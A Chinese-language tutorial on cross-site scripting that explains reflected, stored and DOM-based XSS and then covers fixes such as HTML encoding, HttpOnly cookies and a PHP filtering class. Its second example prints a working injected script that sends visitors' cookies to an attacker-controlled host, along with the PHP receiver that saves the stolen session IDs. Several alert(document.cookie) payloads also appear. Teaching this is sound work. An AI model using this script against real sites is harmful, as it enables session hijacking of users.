XSS跨站腳本攻擊
閱讀目錄
- 1、簡介
- 2、原因解析
- 3、XSS攻擊分類
- 3.1、反射型xss攻擊
- 3.2、存貯型xss攻擊
- 3.3、DOMBasedXSS(基於dom的跨站點腳本攻擊)
- 4、XSS攻擊實例分析
- 例1、簡單XSS攻擊
- 例2、盜取cookie
- 5、XSS漏洞修復
- 5.1、html實體
- 5.2、HTML Encode
- 5.3、修復漏洞方針
- 5.4、PHP中的相應函數
- 5.5、數據過濾類
-
1、簡介
跨站腳本(cross site script)為了避免與樣式css混淆,所以簡稱為XSS。
XSS是一種經常出現在web應用中的計算機安全漏洞,也是web中最主流的攻擊方式。那麽什麽是XSS呢?
XSS是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去。使別的用戶訪問都會執行相應的嵌入代碼。
從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
XSS攻擊的危害包括:
1、盜取各類用戶帳號,如機器登錄帳號、用戶網銀帳號、各類管理員帳號
2、控制企業數據,包括讀取、篡改、添加、刪除企業敏感數據的能力
3、盜竊企業重要的具有商業價值的資料
4、非法轉賬
5、強制發送電子郵件
6、網站掛馬
7、控制受害者機器向其它網站發起攻擊
2、原因解析
主要原因:過於信任客戶端提交的數據!
解決辦法:
進一步分析細節:
客戶端提交的數據本來就是應用所需要的,但是惡意攻擊者利用網站對客戶端提交數據的信任,在數據中插入一些符號以及javascript代碼,那麽這些數據將會成為應用代碼中的一部分了。那麽攻擊者就可以肆無忌憚地展開攻擊啦。
因此我們絕不可以信任任何客戶端提交的數據!!!
3、XSS攻擊分類
【了解即可,不必細究,XSS根源就是沒完全過濾客戶端提交的數據】
回到頂部3.1、反射型xss攻擊
又稱為非持久性跨站點腳本攻擊,它是最常見的類型的XSS。漏洞產生的原因是攻擊者註入的數據反映在響應中。一個典型的非持久性XSS包含一個帶XSS攻擊向量的鏈接(即每次攻擊需要用戶的點擊)。
簡單例子
正常發送消息:
http://www.test.com/message.php?send=Hello,World!
接收者將會接收信息並顯示Hello,Word
非正常發送消息:
http://www.test.com/message.php?send=<script>alert(‘foolish!’)</script>!
接收者接收消息顯示的時候將會彈出警告窗口
回到頂部3.2、存貯型xss攻擊
又稱為持久型跨站點腳本,它一般發生在XSS攻擊向量(一般指XSS攻擊代碼)存儲在網站數據庫,當一個頁面被用戶打開的時候執行。每當用戶打開瀏覽器,腳本執行。持久的XSS相比非持久性XSS攻擊危害性更大,因為每當用戶打開頁面,查看內容時腳本將自動執行。谷歌的orkut曾經就遭受到XSS。
簡單例子:
從名字就可了解到存儲型XSS攻擊就是將攻擊代碼存入數據庫中,然後客戶端打開時就執行這些攻擊代碼。例如留言板
留言板表單中的表單域:<input type=“text” name=“content” value=“這裏是用戶填寫的數據”>
正常操作:
用戶是提交相應留言信息;將數據存儲到數據庫;其他用戶訪問留言板,應用去數據並顯示。
非正常操作:
攻擊者在value填寫<script>alert(‘foolish!’)</script>【或者html其他標簽(破壞樣式。。。)、一段攻擊型代碼】;
將數據存儲到數據庫中;
其他用戶取出數據顯示的時候,將會執行這些攻擊性代碼
回到頂部3.3、DOMBasedXSS(基於dom的跨站點腳本攻擊)
基於DOM的XSS有時也稱為type0XSS。當用戶能夠通過交互修改瀏覽器頁面中的DOM(DocumentObjectModel)並顯示在瀏覽器上時,就有可能產生這種漏洞,從效果上來說它也是反射型XSS。
通過修改頁面的DOM節點形成的XSS,稱之為DOMBasedXSS。
前提是易受攻擊的網站有一個HTML頁面采用不安全的方式從document.location 或document.URL 或 document.referrer獲取數據(或者任何其他攻擊者可以修改的對象)。
簡單例子:
1 <HTML> 2 <TITLE>Welcome!</TITLE> 3 Hi 4 <SCRIPT> 5 var pos=document.URL.indexOf("name=")+5; 6 document.write(document.URL.substring(pos,document.URL.length)); 7 </SCRIPT> 8 <BR> 9 Welcome to our system 10 … 11 </HTML>
這個例子是個歡迎頁面,name是截取URL中get過來的name參數
正常操作:
http://www.vulnerable.site/welcome.html?name=Joe
非正常操作:
http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
將產生xss條件。讓我們看看為什麽:受害者的瀏覽器接收到這個鏈接,發送HTTP請求到www.vulnerable.site並且接受到上面的HTML頁。受害者的瀏覽器開始解析這個HTML為DOM,DOM包含一個對象叫document,document裏面有個URL屬性,這個屬性裏填充著當前頁面的URL。當解析器到達javascript代碼,它會執行它並且修改你的HTML頁面。倘若代碼中引用了document.URL,那麽,這部分字符串將會在解析時嵌入到HTML中,然後立即解析,同時,javascript代碼會找到(alert(…))並且在同一個頁面執行它,這就產生了xss的條件。
註意:
1. 惡意程序腳本在任何時候不會嵌入到處於自然狀態下的HTML頁面(這和其他種類的xss不太一樣)。
2.這個攻擊只有在瀏覽器沒有修改URL字符時起作用。 當url不是直接在地址欄輸入,Mozilla.會自動轉換在document.URL中字符<和>(轉化為%3C 和 %3E),因此在就不會受到上面示例那樣的攻擊了,在IE6下沒有轉換<和>,因此他很容易受到攻擊。
當然,直接嵌入到HTML只是攻擊的一個掛載點,有很多腳本不需要依賴<和>漏洞,因此Mozilla通常也是無法阻止這些攻擊的。
【這段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind】
4、XSS攻擊實例分析
回到頂部例1、簡單XSS攻擊
留言類,簡單註入javascript
有個表單域:<input type=“text” name=“content” value=“這裏是用戶填寫的數據”>
1、假若用戶填寫數據為:<script>alert(‘foolish!‘)</script>(或者<script type="text/javascript" src="./xss.js"></script>)
2、提交後將會彈出一個foolish警告窗口,接著將數據存入數據庫
3、等到別的客戶端請求這個留言的時候,將數據取出顯示留言時將執行攻擊代碼,將會顯示一個foolish警告窗口。
【將數據改成html標簽進行攻擊,則會將原本的樣式打亂。。。。。。。。】
回到頂部例2、盜取cookie
1、網站所在域名為www.test88.com、攻擊者控制的主機www.linuxtest.com
2、test88.com中的表單,xss.html
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <title>xss攻擊</title> 5 <meta charset="utf-8"> 6 </head> 7 <body> 8 9 <form action="./test99.php" method="post"> 10 留言:<input type="text" name="content" value=""><br/> 11 <input type="submit" name="" value=‘提交‘> 12 </form> 13 <br/>留言記錄:<br/> 14 </body> 15 </html>
3、惡意攻擊者插入相應代碼
1 <script> 2 var Str=document.cookie; //獲取cookie 3 var a =document.createElement(‘a‘); //創建a標簽 4 a.href=‘http://www.linuxtest.com/test2.php?‘+Str; //攻擊者主機 5 a.innerHTML="<img src=‘./aa.jpg‘>"; //掩護圖片 6 document.body.appendChild(a); //將標簽添加到頁面中 7 </script>
4、數據(攻擊代碼)插入數據庫
5、攻擊者控制的主機中設置接收盜取的cookie
1 <?php 2 header("content-type:text/html;charset=utf8"); 3 echo "你的PHPSESSID被盜啦"; 4 echo "<pre>"; 5 print_r($_GET); 6 echo "</pre>"; 7 $cookie=$_GET[‘PHPSESSID‘]; 8 file_put_contents(‘./xss.txt‘, $cookie); 9 ?>
開始模擬測試
1、test88.com中設置生成sessionID代碼
1 <?php 2 session_start(); 3 $_SESSION[‘xss‘]=‘xssssss‘; 4 echo "<pre>"; 5 print_r($_SESSION); 6 echo "</pre>";die; 7 ?>
2、客戶端訪問上面代碼並生成自己的sessionID
3、客戶端訪問xss.html
#下面為模擬被攻擊後取出數據的xss.html代碼(顯示數據)
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <title>xss攻擊</title> 5 <meta charset="utf-8"> 6 </head> 7 <body> 8 <form action="./test99.php" method="post"> 9 留言:<input type="text" name="content" value=""><br/> 10 <input type="submit" name="" value=‘提交‘> 11 </form> 12 <br/>留言記錄:<br/> 13 <script> 14 var Str=document.cookie; //獲取cookie 15 var a =document.createElement(‘a‘); //創建a標簽 16 a.href=‘http://www.linuxtest.com/test2.php?‘+Str; //攻擊者主機 17 a.innerHTML="<img src=‘./aa.jpg‘>"; //掩護圖片 18 document.body.appendChild(a); //將標簽添加到頁面中 19 </script> 20 </body> 21 </html>
4、客戶端不小心點擊到圖片,sessionID將被盜
# vi xss.txt
【當然這僅僅只是一個很簡單的攻擊,只要將數據過濾就可以避免這個攻擊了,這裏只是讓大家了解XSS是如何進行攻擊的。】
回到頂部5、XSS漏洞修復
從上面XSS實例以及之前文章的介紹我們知道XSS漏洞的起因就是沒有對用戶提交的數據進行嚴格的過濾處理。因此在思考解決XSS漏洞的時候,我們應該重點把握如何才能更好的將用戶提交的數據進行安全過濾。
回到頂部5.1、html實體
什麽是html實體?
在html中有些字符,像(<)這類的,對HTML(標準通用標記語言下的一個應用)來說是有特殊意義的,所以這些字符是不允許在文本中使用的。要在HTML中顯示(<)這個字符,我們就必須使用實體字符。
html實體的存在是導致XSS漏洞的主要原因之一。
因此我們需要將這些實體全部轉換為相應的實體編號。
顯示結果
描述
實體名稱
空格
<
小於號
<
>
大於號
>
&
和號
&
"
引號
"
‘
撇號
' (IE不支持)
5.2、HTML Encode
用戶將數據提交上來的時候進行HTML編碼,將相應的符號轉換為實體名稱再進行下一步的處理。
在PHP中已經存在這樣子功能的函數,即是htmlentities($str)函數。
與之相反的就是html_entity_decode($str)函數,它將實體名稱轉換為相應的符號。
回到頂部5.3、修復漏洞方針
【不相應用戶提交的數據,過濾過濾過濾!】
1、將重要的cookie標記為http only, 這樣的話Javascript 中的document.cookie語句就不能獲取到cookie了.
2、表單數據規定值的類型,例如:年齡應為只能為int、name只能為字母數字組合。。。。
4、對數據進行Html Encode 處理
5、過濾或移除特殊的Html標簽, 例如: <script>, <iframe> , < for <, > for >, " for
6、過濾JavaScript 事件的標簽。例如 "onclick=", "onfocus" 等等。
【特別註意:】
在有些應用中是允許html標簽出現的,甚至是javascript代碼出現。因此我們在過濾數據的時候需要仔細分析哪些數據是有特殊要求(例如輸出需要html代碼、javascript代碼拼接、或者此表單直接允許使用等等),然後區別處理!
回到頂部5.4、PHP中的相應函數
【詳細看PHP手冊】
這裏可能不全,想了解更多的看手冊。
strip_tags($str, [允許標簽]) #從字符串中去除 HTML 和 PHP 標記
htmlentities($str)函數 #轉義html實體
html_entity_decode($str)函數 #反轉義html實體
addcslashes($str, ‘字符’)函數 #給某些字符加上反斜杠
stripcslashes($str)函數 #去掉反斜杠
addslashes ($str )函數 #單引號、雙引號、反斜線與 NULL加反斜杠
stripslashes($str)函數 #去掉反斜杠
htmlspecialchars() #特殊字符轉換為HTML實體
htmlspecialchars_decode() #將特殊的 HTML 實體轉換回普通字符
回到頂部5.5、數據過濾類
1 <?php 2 class XSS 3 { 4 /** 5 * @desc 過濾數據 6 * 7 * @param $data string|array 輸入數據 8 * @param $low bool 是否采用更為嚴格的過濾 9 * 10 * @return 返回過濾的數據 11 */ 12 public function clean_xss($data, $low = False) 13 { 14 #字符串過濾 15 if (! is_array ( $data )) 16 { 17 $data = trim ( $data ); #字符兩邊的處理 18 $data = strip_tags ( $data ); #從字符串中去除 HTML 和 PHP 標記 19 $data = htmlspecialchars ( $data ); #特殊字符轉換為HTML實體 20 if ($low) 21 { 22 return $data; 23 } 24 #匹配換空格 25 $data = str_replace ( array (‘"‘, "\\", "‘", "/", "..", "../", "./", "//" ), ‘‘, $data ); 26 $no = ‘/%0[0-8bcef]/‘; 27 $data = preg_replace ( $no, ‘‘, $data ); 28 $no = ‘/%1[0-9a-f]/‘; 29 $data = preg_replace ( $no, ‘‘, $data ); 30 $no = ‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘; 31 $data = preg_replace ( $no, ‘‘, $data ); 32 return $data; 33 } 34 #數組過濾 35 $arr=array(); 36 foreach ($data as $k => $v) 37 { 38 $temp=$this->clean_xss($v); 39 $arr[$k]=$temp; 40 } 41 return $arr; 42 } 43 44 45 } 46 #測試測試 47 session_start(); 48 $_SESSION[‘xss‘]=‘xssss‘; 49 $xss=new XSS(); 50 #測試字符串 51 $str = "<script>alert(document.cookie)</script>"; 52 echo $str; 53 $str2=$xss->clean_xss($str); 54 echo $str2; 55 echo "<hr/>"; 56 #測試數組 57 $arr=array("<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>"); 58 echo "<pre>"; 59 print_r($arr); 60 echo "</pre>"; 61 $arr2=$xss->clean_xss($arr); 62 echo "<pre>"; 63 print_r($arr2); 64 echo "</pre>";die; 65 ?>
XSS跨站腳本攻擊